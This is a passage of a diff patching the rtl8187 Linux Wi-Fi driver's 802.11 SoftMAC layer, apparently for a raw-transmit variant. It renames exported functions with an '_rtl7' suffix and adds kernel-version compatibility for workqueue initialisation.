and the 802.11 stack - * will take care of buffering fragments and pass them to + * will take care of buffering fragments and pass them to * to the driver later, when it wakes the queue. - */ - -void ieee80211_softmac_xmit(struct ieee80211_txb *txb, struct ieee80211_device *ieee) + */ + +void ieee80211_softmac_xmit_rtl7(struct ieee80211_txb *txb, struct ieee80211_device *ieee) { - - + + unsigned long flags; int i; - + spin_lock_irqsave(&ieee->lock,flags); #if 0 if(ieee->queue_stop){ @@ -1627,13 +1656,13 @@ err = 1; goto exit; } - + ieee->stats.tx_bytes+=skb->len; - - + + txb=ieee80211_skb_to_txb(ieee,skb); - - + + if(txb==NULL){ IEEE80211DMESG("WW: IEEE stack failed to provide txb"); //dev_kfree_skb_any(skb); @@ -1641,12 +1670,12 @@ goto exit; } #endif - + /* called with 2nd parm 0, no tx mgmt lock required */ - ieee80211_sta_wakeup(ieee,0); + ieee80211_sta_wakeup_rtl7(ieee,0); for(i = 0; i < txb->nr_frags; i++) { - + if (ieee->queue_stop){ ieee->tx_pending.txb = txb; ieee->tx_pending.frag = i; @@ -1658,29 +1687,29 @@ //(i+1)nr_frags); ieee->stats.tx_packets++; ieee->stats.tx_bytes += txb->fragments[i]->len; - ieee->dev->trans_start = jiffies; + ieee->dev->trans_start = jiffies; } - } - - ieee80211_txb_free(txb); - + } + + ieee80211_txb_free_rtl7(txb); + exit: spin_unlock_irqrestore(&ieee->lock,flags); - + } /* called with ieee->lock acquired */ -void ieee80211_resume_tx(struct ieee80211_device *ieee) +void ieee80211_resume_tx_rtl7(struct ieee80211_device *ieee) { int i; for(i = ieee->tx_pending.frag; i < ieee->tx_pending.txb->nr_frags; i++) { - + if (ieee->queue_stop){ ieee->tx_pending.frag = i; return; }else{ - - ieee->softmac_data_hard_start_xmit( + + ieee->softmac_data_hard_start_xmit( ieee->tx_pending.txb->fragments[i], ieee->dev,ieee->rate); //(i+1)tx_pending.txb->nr_frags); @@ -1688,21 +1717,21 @@ ieee->dev->trans_start = jiffies; } } - - - ieee80211_txb_free(ieee->tx_pending.txb); + + + ieee80211_txb_free_rtl7(ieee->tx_pending.txb); ieee->tx_pending.txb = NULL; } -void ieee80211_reset_queue(struct ieee80211_device *ieee) +void ieee80211_reset_queue_rtl7(struct ieee80211_device *ieee) { unsigned long flags; - + spin_lock_irqsave(&ieee->lock,flags); - init_mgmt_queue(ieee); + init_mgmt_queue_rtl7(ieee); if (ieee->tx_pending.txb){ - ieee80211_txb_free(ieee->tx_pending.txb); + ieee80211_txb_free_rtl7(ieee->tx_pending.txb); ieee->tx_pending.txb = NULL; } ieee->queue_stop = 0; @@ -1710,23 +1739,23 @@ } -void ieee80211_wake_queue(struct ieee80211_device *ieee) +void ieee80211_wake_queue_rtl7(struct ieee80211_device *ieee) { unsigned long flags; struct sk_buff *skb; struct ieee80211_hdr_3addr *header; - + spin_lock_irqsave(&ieee->lock,flags); if (! ieee->queue_stop) goto exit; - + ieee->queue_stop = 0; - + if(ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE){ - while (!ieee->queue_stop && (skb = dequeue_mgmt(ieee))){ - + while (!ieee->queue_stop && (skb = dequeue_mgmt_rtl7(ieee))){ + header = (struct ieee80211_hdr_3addr *) skb->data; - + header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); if (ieee->seq_ctrl == 0xFFF) @@ -1738,19 +1767,19 @@ } } if (!ieee->queue_stop && ieee->tx_pending.txb) - ieee80211_resume_tx(ieee); - + ieee80211_resume_tx_rtl7(ieee); + if (!ieee->queue_stop && netif_queue_stopped(ieee->dev)){ ieee->softmac_stats.swtxawake++; netif_wake_queue(ieee->dev); } - + exit : spin_unlock_irqrestore(&ieee->lock,flags); } -void ieee80211_stop_queue(struct ieee80211_device *ieee) +void ieee80211_stop_queue_rtl7(struct ieee80211_device *ieee) { //unsigned long flags; //spin_lock_irqsave(&ieee->lock,flags); @@ -1761,81 +1790,88 @@ } ieee->queue_stop = 1; //spin_unlock_irqrestore(&ieee->lock,flags); - + } -inline void ieee80211_randomize_cell(struct ieee80211_device *ieee) +inline void ieee80211_randomize_cell_rtl7(struct ieee80211_device *ieee) { - + get_random_bytes(ieee->current_network.bssid, ETH_ALEN); - + /* an IBSS cell address must have the two less significant - * bits of the first byte = 2 + * bits of the first byte = 2 */ ieee->current_network.bssid[0] &= ~0x01; ieee->current_network.bssid[0] |= 0x02; } /* called in user context only */ -void ieee80211_start_master_bss(struct ieee80211_device *ieee) +void ieee80211_start_master_bss_rtl7(struct ieee80211_device *ieee) { ieee->assoc_id = 1; - + if (ieee->current_network.ssid_len == 0){ - strncpy(ieee->current_network.ssid, + strncpy(ieee->current_network.ssid, IEEE80211_DEFAULT_TX_ESSID, IW_ESSID_MAX_SIZE); - + ieee->current_network.ssid_len = strlen(IEEE80211_DEFAULT_TX_ESSID); ieee->ssid_set = 1; } - + memcpy(ieee->current_network.bssid, ieee->dev->dev_addr, ETH_ALEN); - + ieee->set_chan(ieee->dev, ieee->current_network.channel); ieee->state = IEEE80211_LINKED; ieee->link_change(ieee->dev); - notify_wx_assoc_event(ieee); - + notify_wx_assoc_event_rtl7(ieee); + if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - + netif_carrier_on(ieee->dev); } -void ieee80211_start_monitor_mode(struct ieee80211_device *ieee) +void ieee80211_start_monitor_mode_rtl7(struct ieee80211_device *ieee) { if(ieee->raw_tx){ - + if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - + netif_carrier_on(ieee->dev); } } -void ieee80211_start_ibss_wq(struct ieee80211_device *ieee) + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_start_ibss_wq_rtl7(struct work_struct *work) +{ + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, start_ibss_wq); +#else +void ieee80211_start_ibss_wq_rtl7(struct ieee80211_device *ieee) { - +#endif + /* iwconfig mode ad-hoc will schedule this and return * on the other hand this will block further iwconfig SET * operations because of the wx_sem hold. * Anyway some most set operations set a flag to speed-up - * (abort) this wq (when syncro scanning) before sleeping + * (abort) this wq (when syncro scanning) before sleeping * on the semaphore */ - + down(&ieee->wx_sem); - + if (ieee->current_network.ssid_len == 0){ strcpy(ieee->current_network.ssid,IEEE80211_DEFAULT_TX_ESSID); ieee->current_network.ssid_len = strlen(IEEE80211_DEFAULT_TX_ESSID); ieee->ssid_set = 1; - } - + } + /* check if we have this cell in our network list */ - ieee80211_softmac_check_all_nets(ieee); - + ieee80211_softmac_check_all_nets_rtl7(ieee); + /* if not then the state is not linked. Maybe the user swithced to * ad-hoc mode just after being in monitor mode, or just after * being very few time in managed mode (so the card have had no @@ -1851,29 +1887,29 @@ * associated. */ if (ieee->state == IEEE80211_NOLINK) - ieee80211_start_scan_syncro(ieee); + ieee80211_start_scan_syncro_rtl7(ieee); /* the network definitively is not here.. create a new cell */ if (ieee->state == IEEE80211_NOLINK){ - printk("creating new IBSS cell\n"); + printk("creating new IBSS cell\n"); if(!ieee->wap_set) - ieee80211_randomize_cell(ieee); - + ieee80211_randomize_cell_rtl7(ieee); + if(ieee->modulation & IEEE80211_CCK_MODULATION){ - + ieee->current_network.rates_len = 4; - + ieee->current_network.rates[0] = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_1MB; ieee->current_network.rates[1] = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_2MB; ieee->current_network.rates[2] = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_5MB; ieee->current_network.rates[3] = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_11MB; - + }else ieee->current_network.rates_len = 0; - + if(ieee->modulation & IEEE80211_OFDM_MODULATION){ ieee->current_network.rates_ex_len = 8; - + ieee->current_network.rates_ex[0] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_6MB; ieee->current_network.rates_ex[1] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_9MB; ieee->current_network.rates_ex[2] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_12MB; @@ -1882,44 +1918,44 @@ ieee->current_network.rates_ex[5] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_36MB; ieee->current_network.rates_ex[6] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_48MB; ieee->current_network.rates_ex[7] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_54MB; - - ieee->rate = 540; + +// ieee->rate = 540; }else{ ieee->current_network.rates_ex_len = 0; - ieee->rate = 110; +// ieee->rate = 110; } - + ieee->current_network.atim_window = 0; ieee->current_network.capability = WLAN_CAPABILITY_IBSS; if(ieee->short_slot) ieee->current_network.capability |= WLAN_CAPABILITY_SHORT_SLOT; - + } - + ieee->state = IEEE80211_LINKED; - + ieee->set_chan(ieee->dev, ieee->current_network.channel); ieee->link_change(ieee->dev); - - notify_wx_assoc_event(ieee); - - ieee80211_start_send_beacons(ieee); - + + notify_wx_assoc_event_rtl7(ieee); + + ieee80211_start_send_beacons_rtl7(ieee); + if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - + netif_carrier_on(ieee->dev); - + up(&ieee->wx_sem); } -inline void ieee80211_start_ibss(struct ieee80211_device *ieee) +inline void ieee80211_start_ibss_rtl7(struct ieee80211_device *ieee) { queue_work(ieee->wq, &ieee->start_ibss_wq); } /* this is called only in user context, with wx_sem held */ -void ieee80211_start_bss(struct ieee80211_device *ieee) +void ieee80211_start_bss_rtl7(struct ieee80211_device *ieee) { unsigned long flags; /* check if we have already found the net we @@ -1927,8 +1963,8 @@ * if not (we are disassociated and we are not * in associating / authenticating phase) start the background scanning. */ - ieee80211_softmac_check_all_nets(ieee); - + ieee80211_softmac_check_all_nets_rtl7(ieee); + /* ensure no-one start an associating process (thus setting * the ieee->state to ieee80211_ASSOCIATING) while we * have just cheked it and we are going to enable scan. @@ -1937,41 +1973,49 @@ * the rx path), so we cannot be in the middle of such function */ spin_lock_irqsave(&ieee->lock, flags); - if (ieee->state == IEEE80211_NOLINK) - ieee80211_start_scan(ieee); - + ieee80211_start_scan_rtl7(ieee); + spin_unlock_irqrestore(&ieee->lock, flags); } /* called only in userspace context */ -void ieee80211_disassociate(struct ieee80211_device *ieee) +void ieee80211_disassociate_rtl7(struct ieee80211_device *ieee) { netif_carrier_off(ieee->dev); - + if (ieee->softmac_features & IEEE_SOFTMAC_TX_QUEUE) - ieee80211_reset_queue(ieee); - + ieee80211_reset_queue_rtl7(ieee); + if (ieee->data_hard_stop) ieee->data_hard_stop(ieee->dev); - + ieee->state = IEEE80211_NOLINK; ieee->link_change(ieee->dev); - notify_wx_assoc_event(ieee); - + notify_wx_assoc_event_rtl7(ieee); + } -void ieee80211_associate_retry_wq(struct ieee80211_device *ieee) + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_associate_retry_wq_rtl7(struct work_struct *work) +{ + struct delayed_work *dwork = container_of(work, struct delayed_work, work); + struct ieee80211_device *ieee = container_of(dwork, struct ieee80211_device, associate_retry_wq); +#else +void ieee80211_associate_retry_wq_rtl7(struct ieee80211_device *ieee) { +#endif unsigned long flags; - + down(&ieee->wx_sem); + if(!ieee->proto_started) goto exit; - + if(ieee->state != IEEE80211_ASSOCIATING_RETRY) goto exit; - - /* until we do not set the state to IEEE80211_NOLINK + + /* until we do not set the state to IEEE80211_NOLINK * there are no possibility to have someone else trying * to start an association procdure (we get here with * ieee->state = IEEE80211_ASSOCIATING). @@ -1981,122 +2025,120 @@ * RX path works with ieee->lock held so there are no * problems. If we are still disassociated then start a scan. * the lock here is necessary to ensure no one try to start - * an association procedure when we have just checked the + * an association procedure when we have just checked the * state and we are going to start the scan. */ ieee->state = IEEE80211_NOLINK; - ieee80211_softmac_check_all_nets(ieee); - + ieee80211_softmac_check_all_nets_rtl7(ieee); + spin_lock_irqsave(&ieee->lock, flags); - + if(ieee->state == IEEE80211_NOLINK) - ieee80211_start_scan(ieee); - + ieee80211_start_scan_rtl7(ieee); + spin_unlock_irqrestore(&ieee->lock, flags); exit: up(&ieee->wx_sem); } -struct sk_buff *ieee80211_get_beacon_(struct ieee80211_device *ieee) +struct sk_buff *ieee80211_get_beacon__rtl7(struct ieee80211_device *ieee) { u8 broadcast_addr[] = {0xff,0xff,0xff,0xff,0xff,0xff}; - + struct sk_buff *skb; struct ieee80211_probe_response *b; - - skb = ieee80211_probe_resp(ieee, broadcast_addr); - - if (!skb) + + skb = ieee80211_probe_resp_rtl7(ieee, broadcast_addr); + + if (!skb) return NULL; - + b = (struct ieee80211_probe_response *) skb->data; b->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_BEACON); - + return skb; - + } -struct sk_buff *ieee80211_get_beacon(struct ieee80211_device *ieee) +struct sk_buff *ieee80211_get_beacon_rtl7(struct ieee80211_device *ieee) { struct sk_buff *skb; struct ieee80211_probe_response *b; - - skb = ieee80211_get_beacon_(ieee); - if(!skb) + + skb = ieee80211_get_beacon__rtl7(ieee); + if(!skb) return NULL; - - b = (struct ieee80211_probe_response *) skb->data; + + b = (struct ieee80211_probe_response *) skb->data; b->header.seq_ctrl = cpu_to_le16(ieee->seq_ctrl << 4); - + if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; - + return skb; } -void ieee80211_softmac_stop_protocol(struct ieee80211_device *ieee) +void ieee80211_softmac_stop_protocol_rtl7(struct ieee80211_device *ieee) { ieee->sync_scan_hurryup = 1; down(&ieee->wx_sem); - ieee80211_stop_protocol(ieee); + + ieee80211_stop_protocol_rtl7(ieee); up(&ieee->wx_sem); } -void ieee80211_stop_protocol(struct ieee80211_device *ieee) +void ieee80211_stop_protocol_rtl7(struct ieee80211_device *ieee) { if (!ieee->proto_started) return; - + ieee->proto_started = 0; - - ieee80211_stop_send_beacons(ieee); - + + ieee80211_stop_send_beacons_rtl7(ieee); + del_timer_sync(&ieee->associate_timer); - cancel_delayed_work(&ieee->associate_retry_wq); - - ieee80211_stop_scan(ieee); + cancel_delayed_work(&ieee->associate_retry_wq); + + ieee80211_stop_scan_rtl7(ieee); - ieee80211_disassociate(ieee); + ieee80211_disassociate_rtl7(ieee); } -void ieee80211_softmac_start_protocol(struct ieee80211_device *ieee) +void ieee80211_softmac_start_protocol_rtl7(struct ieee80211_device *ieee) { ieee->sync_scan_hurryup = 0; down(&ieee->wx_sem); - ieee80211_start_protocol(ieee); + ieee80211_start_protocol_rtl7(ieee); up(&ieee->wx_sem); } -void ieee80211_start_protocol(struct ieee80211_device *ieee) +void ieee80211_start_protocol_rtl7(struct ieee80211_device *ieee) { short ch = 0; - if (ieee->proto_started) return; - + ieee->proto_started = 1; - + if (ieee->current_network.channel == 0){ do{ ch++; - if (ch > MAX_CHANNEL_NUMBER) + if (ch > MAX_CHANNEL_NUMBER) return; /* no channel found */ - + }while(!ieee->channel_map[ch]); - + ieee->current_network.channel = ch; } - + if (ieee->current_network.beacon_interval == 0) ieee->current_network.beacon_interval = 100; - ieee->set_chan(ieee->dev,ieee->current_network.channel); - ieee->last_seq_num = -1; ieee->last_frag_num = -1; ieee->last_packet_time = 0; @@ -2107,30 +2149,27 @@ * attempts does not fail just because the user provide the essid * and the nic is still checking for the AP MAC ?? */ - + if (ieee->iw_mode == IW_MODE_INFRA) - ieee80211_start_bss(ieee); - + ieee80211_start_bss_rtl7(ieee); else if (ieee->iw_mode == IW_MODE_ADHOC) - ieee80211_start_ibss(ieee); - + ieee80211_start_ibss_rtl7(ieee); else if (ieee->iw_mode == IW_MODE_MASTER) - ieee80211_start_master_bss(ieee); - + ieee80211_start_master_bss_rtl7(ieee); else if(ieee->iw_mode == IW_MODE_MONITOR) - ieee80211_start_monitor_mode(ieee); + ieee80211_start_monitor_mode_rtl7(ieee); } #define DRV_NAME "Ieee80211" -void ieee80211_softmac_init(struct ieee80211_device *ieee) +void ieee80211_softmac_init_rtl7(struct ieee80211_device *ieee) { memset(&ieee->current_network, 0, sizeof(struct ieee80211_network)); - + ieee->state = IEEE80211_NOLINK; ieee->sync_scan_hurryup = 0; ieee->seq_ctrl = 0; - + ieee->assoc_id = 0; ieee->queue_stop = 0; ieee->scanning = 0; @@ -2142,66 +2181,75 @@ ieee->rate = 3; ieee->ps = IEEE80211_PS_DISABLED; ieee->sta_sleep = 0; - - init_mgmt_queue(ieee); + + init_mgmt_queue_rtl7(ieee); #if 0 init_timer(&ieee->scan_timer); ieee->scan_timer.data = (unsigned long)ieee; ieee->scan_timer.function = ieee80211_softmac_scan_cb; #endif ieee->tx_pending.txb = NULL; - + init_timer(&ieee->associate_timer); ieee->associate_timer.data = (unsigned long)ieee; - ieee->associate_timer.function = ieee80211_associate_abort_cb; + ieee->associate_timer.function = ieee80211_associate_abort_cb_rtl7; init_timer(&ieee->beacon_timer); ieee->beacon_timer.data = (unsigned long) ieee; - ieee->beacon_timer.function = ieee80211_send_beacon_cb; - + ieee->beacon_timer.function = ieee80211_send_beacon_cb_rtl7; + #ifdef PF_SYNCTHREAD ieee->wq = create_workqueue(DRV_NAME,0); -#else +#else ieee->wq = create_workqueue(DRV_NAME); #endif - - INIT_WORK(&ieee->start_ibss_wq,(void(*)(void*)) ieee80211_start_ibss_wq,ieee); - INIT_WORK(&ieee->associate_retry_wq,(void(*)(void*)) ieee80211_associate_retry_wq,ieee); - INIT_WORK(&ieee->associate_complete_wq,(void(*)(void*)) ieee80211_associate_complete_wq,ieee); - INIT_WORK(&ieee->associate_procedure_wq,(void(*)(void*)) ieee80211_associate_procedure_wq,ieee); - INIT_WORK(&ieee->softmac_scan_wq,(void(*)(void*)) ieee80211_softmac_scan_wq,ieee); - INIT_WORK(&ieee->wx_sync_scan_wq,(void(*)(void*)) ieee80211_wx_sync_scan_wq,ieee); - + +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + INIT_WORK(&ieee->start_ibss_wq,(void(*)(void*)) ieee80211_start_ibss_wq_rtl7,ieee); + INIT_WORK(&ieee->associate_retry_wq,(void(*)(void*)) ieee80211_associate_retry_wq_rtl7,ieee); + INIT_WORK(&ieee->associate_complete_wq,(void(*)(void*)) ieee80211_associate_complete_wq_rtl7,ieee); + INIT_WORK(&ieee->associate_procedure_wq,(void(*)(void*)) ieee80211_associate_procedure_wq_rtl7,ieee); + INIT_WORK(&ieee->softmac_scan_wq,(void(*)(void*)) ieee80211_softmac_scan_wq_rtl7,ieee); + INIT_WORK(&ieee->wx_sync_scan_wq,(void(*)(void*)) ieee80211_wx_sync_scan_wq_rtl7,ieee); +#else + INIT_WORK(&ieee->start_ibss_wq, ieee80211_start_ibss_wq_rtl7); + INIT_DELAYED_WORK(&ieee->associate_retry_wq, ieee80211_associate_retry_wq_rtl7); + INIT_WORK(&ieee->associate_complete_wq, ieee80211_associate_complete_wq_rtl7); + INIT_WORK(&ieee->associate_procedure_wq, ieee80211_associate_procedure_wq_rtl7); + INIT_DELAYED_WORK(&ieee->softmac_scan_wq, ieee80211_softmac_scan_wq_rtl7); + INIT_WORK(&ieee->wx_sync_scan_wq, ieee80211_wx_sync_scan_wq_rtl7); +#endif + sema_init(&ieee->wx_sem, 1); sema_init(&ieee->scan_sem, 1); - + spin_lock_init(&ieee->mgmt_tx_lock); spin_lock_init(&ieee->beacon_lock); - + tasklet_init(&ieee->ps_task, - (void(*)(unsigned long)) ieee80211_sta_ps, + (void(*)(unsigned long)) ieee80211_sta_ps_rtl7, (unsigned long)ieee); } -void ieee80211_softmac_free(struct ieee80211_device *ieee) +void ieee80211_softmac_free_rtl7(struct ieee80211_device *ieee) { down(&ieee->wx_sem); - + del_timer_sync(&ieee->associate_timer); cancel_delayed_work(&ieee->associate_retry_wq); destroy_workqueue(ieee->wq); - + up(&ieee->wx_sem); } -/******************************************************** +/******************************************************** * Start of WPA code. * * this is stolen from the ipw2200 driver * ********************************************************/ - -static int ieee80211_wpa_enable(struct ieee80211_device *ieee, int value) + +static int ieee80211_wpa_enable_rtl7(struct ieee80211_device *ieee, int value) { /* This is called when wpa_supplicant loads and closes the driver * interface. */ @@ -2210,19 +2258,19 @@ return 0; } - -void ieee80211_wpa_assoc_frame(struct ieee80211_device *ieee, char *wpa_ie, int wpa_ie_len) + +void ieee80211_wpa_assoc_frame_rtl7(struct ieee80211_device *ieee, char *wpa_ie, int wpa_ie_len) { /* make sure WPA is enabled */ - ieee80211_wpa_enable(ieee, 1); + ieee80211_wpa_enable_rtl7(ieee, 1); - ieee80211_disassociate(ieee); + ieee80211_disassociate_rtl7(ieee); } -static int ieee80211_wpa_mlme(struct ieee80211_device *ieee, int command, int reason) +static int ieee80211_wpa_mlme_rtl7(struct ieee80211_device *ieee, int command, int reason) { - + int ret = 0; switch (command) { @@ -2231,7 +2279,7 @@ break; case IEEE_MLME_STA_DISASSOC: - ieee80211_disassociate(ieee); + ieee80211_disassociate_rtl7(ieee); break; default: @@ -2243,7 +2291,7 @@ } -static int ieee80211_wpa_set_wpa_ie(struct ieee80211_device *ieee, +static int ieee80211_wpa_set_wpa_ie_rtl7(struct ieee80211_device *ieee, struct ieee_param *param, int plen) { u8 *buf; @@ -2267,16 +2315,16 @@ ieee->wpa_ie_len = 0; } - ieee80211_wpa_assoc_frame(ieee, ieee->wpa_ie, ieee->wpa_ie_len); + ieee80211_wpa_assoc_frame_rtl7(ieee, ieee->wpa_ie, ieee->wpa_ie_len); return 0; } #define AUTH_ALG_OPEN_SYSTEM 0x1 #define AUTH_ALG_SHARED_KEY 0x2 -static int ieee80211_wpa_set_auth_algs(struct ieee80211_device *ieee, int value) +static int ieee80211_wpa_set_auth_algs_rtl7(struct ieee80211_device *ieee, int value) { - + struct ieee80211_security sec = { .flags = SEC_AUTH_MODE, }; @@ -2300,13 +2348,13 @@ -static int ieee80211_wpa_set_param(struct ieee80211_device *ieee, u8 name, u32 value) +static int ieee80211_wpa_set_param_rtl7(struct ieee80211_device *ieee, u8 name, u32 value) { int ret=0; switch (name) { case IEEE_PARAM_WPA_ENABLED: - ret = ieee80211_wpa_enable(ieee, value); + ret = ieee80211_wpa_enable_rtl7(ieee, value); break; case IEEE_PARAM_TKIP_COUNTERMEASURES: @@ -2351,7 +2399,7 @@ break; case IEEE_PARAM_AUTH_ALGS: - ret = ieee80211_wpa_set_auth_algs(ieee, value); + ret = ieee80211_wpa_set_auth_algs_rtl7(ieee, value); break; case IEEE_PARAM_IEEE_802_1X: @@ -2368,11 +2416,11 @@ /* implementation borrowed from hostap driver */ -static int ieee80211_wpa_set_encryption(struct ieee80211_device *ieee, +static int ieee80211_wpa_set_encryption_rtl7(struct ieee80211_device *ieee, struct ieee_param *param, int param_len) { int ret = 0; - + struct ieee80211_crypto_ops *ops; struct ieee80211_crypt_data **crypt; @@ -2407,7 +2455,7 @@ //sec.encrypt = 0; sec.level = SEC_LEVEL_0; sec.flags |= SEC_ENABLED | SEC_LEVEL; - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); } goto done; } @@ -2421,16 +2469,16 @@ strcmp(param->u.crypt.alg, "TKIP")) goto skip_host_crypt; - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); if (ops == NULL && strcmp(param->u.crypt.alg, "WEP") == 0) { - request_module("ieee80211_crypt_wep"); - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + request_module("ieee80211_crypt_wep_rtl"); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); } else if (ops == NULL && strcmp(param->u.crypt.alg, "TKIP") == 0) { - request_module("ieee80211_crypt_tkip"); - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + request_module("ieee80211_crypt_tkip_rtl"); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); } else if (ops == NULL && strcmp(param->u.crypt.alg, "CCMP") == 0) { - request_module("ieee80211_crypt_ccmp"); - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + request_module("ieee80211_crypt_ccmp_rtl"); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); } if (ops == NULL) { printk("unknown crypto alg '%s'\n", param->u.crypt.alg); @@ -2442,7 +2490,7 @@ if (*crypt == NULL || (*crypt)->ops != ops) { struct ieee80211_crypt_data *new_crypt; - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); new_crypt = (struct ieee80211_crypt_data *) kmalloc(sizeof(*new_crypt), GFP_KERNEL); @@ -2525,7 +2573,7 @@ -int ieee80211_wpa_supplicant_ioctl(struct ieee80211_device *ieee, struct iw_point *p) +int ieee80211_wpa_supplicant_ioctl_rtl7(struct ieee80211_device *ieee, struct iw_point *p) { struct ieee_param *param; int ret=0; @@ -2537,7 +2585,7 @@ ret = -EINVAL; goto out; } - + param = (struct ieee_param *)kmalloc(p->length, GFP_KERNEL); if (param == NULL){ ret = -ENOMEM; @@ -2552,20 +2600,20 @@ switch (param->cmd) { case IEEE_CMD_SET_WPA_PARAM: - ret = ieee80211_wpa_set_param(ieee, param->u.wpa_param.name, + ret = ieee80211_wpa_set_param_rtl7(ieee, param->u.wpa_param.name, param->u.wpa_param.value); break; case IEEE_CMD_SET_WPA_IE: - ret = ieee80211_wpa_set_wpa_ie(ieee, param, p->length); + ret = ieee80211_wpa_set_wpa_ie_rtl7(ieee, param, p->length); break; case IEEE_CMD_SET_ENCRYPTION: - ret = ieee80211_wpa_set_encryption(ieee, param, p->length); + ret = ieee80211_wpa_set_encryption_rtl7(ieee, param, p->length); break; case IEEE_CMD_MLME: - ret = ieee80211_wpa_mlme(ieee, param->u.mlme.command, + ret = ieee80211_wpa_mlme_rtl7(ieee, param->u.mlme.command, param->u.mlme.reason_code); break; @@ -2581,11 +2629,11 @@ kfree(param); out: up(&ieee->wx_sem); - + return ret; } -void notify_wx_assoc_event(struct ieee80211_device *ieee) +void notify_wx_assoc_event_rtl7(struct ieee80211_device *ieee) { union iwreq_data wrqu; wrqu.ap_addr.sa_family = ARPHRD_ETHER; @@ -2597,14 +2645,14 @@ } -EXPORT_SYMBOL(ieee80211_get_beacon); -EXPORT_SYMBOL(ieee80211_wake_queue); -EXPORT_SYMBOL(ieee80211_stop_queue); -EXPORT_SYMBOL(ieee80211_reset_queue); -EXPORT_SYMBOL(ieee80211_softmac_stop_protocol); -EXPORT_SYMBOL(ieee80211_softmac_start_protocol); -EXPORT_SYMBOL(ieee80211_is_shortslot); -EXPORT_SYMBOL(ieee80211_is_54g); -EXPORT_SYMBOL(ieee80211_wpa_supplicant_ioctl); -EXPORT_SYMBOL(ieee80211_ps_tx_ack); -//EXPORT_SYMBOL(ieee80211_sta_ps_send_null_frame); +EXPORT_SYMBOL(ieee80211_get_beacon_rtl7); +EXPORT_SYMBOL(ieee80211_wake_queue_rtl7); +EXPORT_SYMBOL(ieee80211_stop_queue_rtl7); +EXPORT_SYMBOL(ieee80211_reset_queue_rtl7); +EXPORT_SYMBOL(ieee80211_softmac_stop_protocol_rtl7); +EXPORT_SYMBOL(ieee80211_softmac_start_protocol_rtl7); +EXPORT_SYMBOL(ieee80211_is_shortslot_rtl7); +EXPORT_SYMBOL(ieee80211_is_54g_rtl7); +EXPORT_SYMBOL(ieee80211_wpa_supplicant_ioctl_rtl7); +EXPORT_SYMBOL(ieee80211_ps_tx_ack_rtl7); +//EXPORT_SYMBOL(ieee80211_sta_ps_send_null_frame_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006_orig/ieee80211/ieee80211_softmac_wx.c rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_softmac_wx.c --- rtl8187_linux_26.1010.0622.2006_orig/ieee80211/ieee80211_softmac_wx.c 2006-06-05 22:57:54.000000000 -0400 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_softmac_wx.c 2008-08-12 13:11:33.000000000 -0400 @@ -1,7 +1,7 @@ /* IEEE 802.11 SoftMAC layer * Copyright (c) 2005 Andrea Merello * - * Mostly extracted from the rtl8180-sa2400 driver for the + * Mostly extracted from the rtl8180-sa2400 driver for the * in-kernel generic ieee802.11 stack. * * Some pieces of code might be stolen from ipw2100 driver @@ -18,23 +18,23 @@ /* FIXME: add A freqs */ -const long ieee80211_wlan_frequencies[] = { - 2412, 2417, 2422, 2427, - 2432, 2437, 2442, 2447, - 2452, 2457, 2462, 2467, - 2472, 2484 +const long ieee80211_wlan_frequencies_rtl7[] = { + 2412, 2417, 2422, 2427, + 2432, 2437, 2442, 2447, + 2452, 2457, 2462, 2467, + 2472, 2484 }; -int ieee80211_wx_set_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +int ieee80211_wx_set_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { int ret; struct iw_freq *fwrq = & wrqu->freq; down(&ieee->wx_sem); - - if(ieee->iw_mode == IW_MODE_INFRA){ + + if(ieee->iw_mode == IW_MODE_INFRA){ ret = -EOPNOTSUPP; goto out; } @@ -45,31 +45,31 @@ fwrq->m <= (int) 2.487e8)) { int f = fwrq->m / 100000; int c = 0; - - while ((c < 14) && (f != ieee80211_wlan_frequencies[c])) + + while ((c < 14) && (f != ieee80211_wlan_frequencies_rtl7[c])) c++; - + /* hack to fall through */ fwrq->e = 0; fwrq->m = c + 1; } } - - if (fwrq->e > 0 || fwrq->m > 14 || fwrq->m < 1 ){ + + if (fwrq->e > 0 || fwrq->m > 14 || fwrq->m < 1 ){ ret = -EOPNOTSUPP; goto out; - + }else { /* Set the channel */ - - + + ieee->current_network.channel = fwrq->m; ieee->set_chan(ieee->dev, 